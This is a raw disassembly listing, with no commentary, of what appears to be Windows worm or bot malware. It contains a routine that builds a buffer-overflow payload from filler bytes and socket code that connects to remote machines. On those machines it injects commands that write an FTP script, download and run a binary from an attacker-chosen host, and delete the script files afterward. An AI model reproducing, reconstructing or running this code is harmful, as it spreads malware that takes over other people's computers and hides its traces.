sub_40142E add esp, 4 cmp eax, esi jnz short loc_422944 push offset dword_4B1C80 call ds:dword_4B385C loc_422944: ; CODE XREF: _294ADE7B:00422937j mov ecx, [esp+130h] push ecx call sub_401CEE add esp, 4 push 0 call ds:dword_4B3870 nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A20 proc near ; CODE XREF: sub_401271j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_422A20 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_422A40: ; CODE XREF: _294ADE7B:0040156Ej mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_40177B mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A90 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call ds:dword_4B3AB0 mov edx, eax add esp, 4 test edx, edx jz short loc_422AE2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_422AE2: ; CODE XREF: sub_422A90+16j mov eax, ebx pop ebp pop ebx retn 8 sub_422A90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B10 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp call ds:dword_4B3AB0 mov edx, eax add esp, 4 test edx, edx jz short loc_422B84 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_422B84: ; CODE XREF: sub_422B10+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_422B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422BB0 proc near ; CODE XREF: sub_401627j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_422BC3 push eax call ds:dword_4B3AAC add esp, 4 loc_422BC3: ; CODE XREF: sub_422BB0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_422BB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422BF0 proc near ; CODE XREF: sub_401091j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_422C07 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_422C07: ; CODE XREF: sub_422BF0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax call ds:dword_4B3AB0 mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_422C35 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_422C35: ; CODE XREF: sub_422BF0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_422C64 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_422C7F ; --------------------------------------------------------------------------- loc_422C64: ; CODE XREF: sub_422BF0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_422C7F: ; CODE XREF: sub_422BF0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax call ds:dword_4B3AAC mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_422BF0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422CE0 proc near ; CODE XREF: sub_401A73j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset word_4B22F8 lea ecx, [esp+20h+var_8] call sub_402040 lea ecx, [esp+10h+var_8] call sub_401091 mov edx, [esp+10h+var_4] inc edx push edx call ds:dword_4B3AB0 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_422D25 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_422D25: ; CODE XREF: sub_422CE0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_401627 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_401627 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_422CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422DC0 proc near ; CODE XREF: sub_40128Fj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_402040 mov ecx, esi call sub_401627 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_422DC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422E10 proc near ; CODE XREF: sub_401ECEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_40128F pop edi pop esi retn 4 sub_422E10 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422E50 proc near ; CODE XREF: sub_401497j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_40128F retn 8 sub_422E50 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422E80 proc near ; CODE XREF: sub_401712j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_401091 test al, al jnz short loc_422E94 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_422E94: ; CODE XREF: sub_422E80+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_43CC38 lea ecx, [esp+1Ch+var_8] call sub_402040 mov ecx, esi call sub_401627 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_422E80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422EF0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401497 test al, al jnz short loc_422F0C pop esi retn 8 ; --------------------------------------------------------------------------- loc_422F0C: ; CODE XREF: sub_422EF0+16j mov ecx, esi call sub_401712 pop esi retn 8 sub_422EF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422F30 proc near ; CODE XREF: sub_401AE6j var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_401271 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_423305 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_423305 push edi lea ecx, [esp+864h+var_830] call sub_401271 lea ecx, [esp+864h+var_840] call sub_401271 lea ecx, [esp+864h+var_810] call sub_401271 lea ecx, [esp+864h+var_848] call sub_401271 lea ecx, [esp+864h+var_820] call sub_401271 lea ecx, [esp+864h+var_828] call sub_401271 lea ecx, [esp+864h+var_838] call sub_401271 push 4 push offset dword_43C8D4 lea ecx, [esp+86Ch+var_830] call sub_40128F push 3 push offset dword_43C8DC lea ecx, [esp+86Ch+var_830] call sub_40128F lea ecx, [esp+864h+var_830] call sub_401A73 lea ecx, [esp+864h+var_830] call sub_401712 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_40128F mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_40128F mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_40128F lea ecx, [esp+864h+var_840] call sub_401A73 push offset dword_43CC5C lea ecx, [esp+868h+var_810] call sub_401ECE lea ecx, [esp+864h+var_810] call sub_401A73 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_40177B lea ecx, [esp+864h+var_808] call sub_401A73 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401D75 lea ecx, [esp+864h+var_808] call sub_401627 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_401ECE push 4 push offset dword_43C8E0 lea ecx, [esp+86Ch+var_848] call sub_40128F mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_40128F mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_40128F lea ecx, [esp+864h+var_848] call sub_401A73 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401497 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401497 lea ecx, [esp+864h+var_820] call sub_401712 lea ecx, [esp+864h+var_848] call sub_401627 lea ecx, [esp+864h+var_810] call sub_401627 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401497 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401497 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401497 lea ecx, [esp+864h+var_828] call sub_401712 lea ecx, [esp+864h+var_840] call sub_401627 lea ecx, [esp+864h+var_830] call sub_401627 lea ecx, [esp+864h+var_820] call sub_401627 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_40128F lea ecx, [esp+864h+var_838] call sub_401A73 push 2 push offset dword_43CC50 lea ecx, [esp+86Ch+var_838] call sub_40128F mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401497 lea ecx, [esp+864h+var_838] call sub_401712 lea ecx, [esp+864h+var_828] call sub_401627 lea ecx, [esp+864h+var_850] call sub_401271 lea ecx, [esp+864h+var_858] call sub_401271 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401497 lea ecx, [esp+864h+var_850] call sub_401091 lea ecx, [esp+864h+var_838] call sub_401627 push offset dword_43CC4C lea ecx, [esp+868h+var_858] call sub_401ECE mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401497 lea ecx, [esp+864h+var_858] call sub_401091 lea ecx, [esp+864h+var_850] call sub_401627 push offset dword_43BD64 lea ecx, [esp+868h+var_850] call sub_401ECE mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401497 lea ecx, [esp+864h+var_850] call sub_401091 lea ecx, [esp+864h+var_858] call sub_401627 push offset dword_43CC40 lea ecx, [esp+868h+var_858] call sub_401ECE mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401497 lea ecx, [esp+864h+var_858] call sub_401091 lea ecx, [esp+864h+var_850] call sub_401627 push offset dword_43CC3C lea ecx, [esp+868h+var_818] call sub_401ECE mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401497 lea ecx, [esp+864h+var_858] call sub_401627 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_423305: ; CODE XREF: sub_422F30+1Ej ; sub_422F30+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_422F30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423430 proc near ; CODE XREF: sub_4019D3j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call ds:dword_4B3C5C cmp eax, 1 jz short loc_423499 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_423499: ; CODE XREF: sub_423430+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_430A68 test eax, eax jnz short loc_4234B0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_4234B0: ; CODE XREF: sub_423430+76j mov edx, [esp+214h+arg_C] mov eax, [esp+214h+arg_8] mov ecx, [esp+214h+arg_4] push edx push eax push ecx push esi call ds:dword_4B3C6C pop esi add esp, 210h retn sub_423430 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423510 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call ds:dword_4B3C78 mov edi, [esp+0Ch+arg_0] mov ebx, ds:dword_4B3C9C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx cmp eax, 4 jz short loc_423543 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_423543: ; CODE XREF: sub_423510+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_423510 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423580 proc near ; CODE XREF: sub_4012C1j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call ds:dword_4B3AB0 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4235B3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_4235B3: ; CODE XREF: sub_423580+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_43C970 shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_43C8E8 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, ds:dword_43C9A0 mov [ebx+31h], eax mov ecx, ds:dword_43C9A4 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, ds:dword_4B22F0 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, ds:word_4B22F4 push esi mov [eax+4], dx call sub_4012BC add esp, 0Ch test al, al pop edi jnz short loc_423658 push ebx call ds:dword_4B3AAC add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_423658: ; CODE XREF: sub_423580+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_4019D3 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012BC add esp, 1Ch test al, al jnz short loc_423693 push ebx call ds:dword_4B3AAC add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_423693: ; CODE XREF: sub_423580+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_4019D3 push ebx call ds:dword_4B3AAC add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_423580 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_423710: ; CODE XREF: _294ADE7B:00401758j sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+29h] rep stosd stosw stosb mov ecx, 23h mov esi, offset dword_43CB14 lea edi, [esp+28h] rep movsd movsw mov ecx, offset byte_4403A9 movsb call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 mov ecx, [esp+430h] push eax mov eax, ds:dword_4404E7 push eax push ecx call sub_401CC1 add esp, 4 lea edx, [esp+0C3h] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call ds:dword_4B3AA8 add eax, 90h lea ecx, [esp+2Ch] push eax lea eax, [esp+48h] push eax push 164h push offset dword_43C9AC push ecx call sub_401AE6 mov eax, [esp+44h] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4237B9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4237B9: ; CODE XREF: _294ADE7B:004237ABj mov ebp, ds:dword_4B3CB0 mov [esp+0Ch], edi loc_4237C3: ; CODE XREF: _294ADE7B:00423868j test edi, edi jnz loc_42386E push 6 push 1 push 2 call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_423851 mov eax, [esp+4CAh] xor edx, edx mov [esp+1Ah], edx push eax mov [esp+22h], edx mov word ptr [esp+1Ch], 2 mov [esp+26h], edx mov [esp+2Ah], dx call ebp lea ecx, [esp+430h] mov [esp+1Ah], ax push ecx call ds:dword_4B3CBC lea edx, [esp+18h] push 10h push edx push esi mov [esp+28h], eax call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jz short loc_423846 mov eax, [esp+14h] mov ecx, [esp+10h] push eax push ecx push esi call sub_4012C1 add esp, 0Ch and eax, 0FFh mov edi, eax loc_423846: ; CODE XREF: _294ADE7B:0042382Aj push esi call ds:dword_4B3CA8 test edi, edi jnz short loc_42385C loc_423851: ; CODE XREF: _294ADE7B:004237DCj push 3E8h call ds:dword_4B38CC loc_42385C: ; CODE XREF: _294ADE7B:0042384Fj mov eax, [esp+0Ch] inc eax cmp eax, 2 mov [esp+0Ch], eax jl loc_4237C3 loc_42386E: ; CODE XREF: _294ADE7B:004237C5j lea ecx, [esp+10h] call sub_401627 test edi, edi jz short loc_42389E sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h] mov edi, esp rep movsd movsw call sub_401131 add esp, 0BCh loc_42389E: ; CODE XREF: _294ADE7B:00423879j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- aRrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 0C9E80000h, 83FFFDE6h, 0FCA308C4h, 0C3004B22h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_423970 proc near ; CODE XREF: sub_401375j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h call ds:dword_4B38CC mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax call ds:dword_4B3C9C cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_423970 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4239C0 proc near ; CODE XREF: sub_40135Cj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4239C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 call ds:dword_4B3CBC mov dx, ds:word_4B22FC mov [esp+440h+var_418], eax push edx call ds:dword_4B3CB0 push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax call ds:dword_4B3CAC mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_423CBE lea eax, [esp+440h+var_41C] push 10h push eax push esi call ds:dword_4B3CB4 cmp eax, ebx jz loc_423CBE mov edi, ds:dword_4B3C6C push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi lea ecx, [esp+440h+var_434] call sub_4013CF mov edx, ds:dword_4404E7 mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401CC1 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE mov ecx, offset byte_4403A9 call sub_401726 push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE mov ecx, offset byte_4403A9 call sub_401726 push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz loc_423CAE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz short loc_423CAE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz short loc_423CAE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jz short loc_423CAE lea eax, [esp+440h+var_434] push offset dword_43D7DC push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_401479 push eax push esi call sub_401375 add esp, 8 test al, al jnz short loc_423CC2 loc_423CAE: ; CODE XREF: sub_4239C0+F3j ; sub_4239C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_4011F9 loc_423CBE: ; CODE XREF: sub_4239C0+6Fj ; sub_4239C0+85j xor al, al jmp short loc_423CEA ; 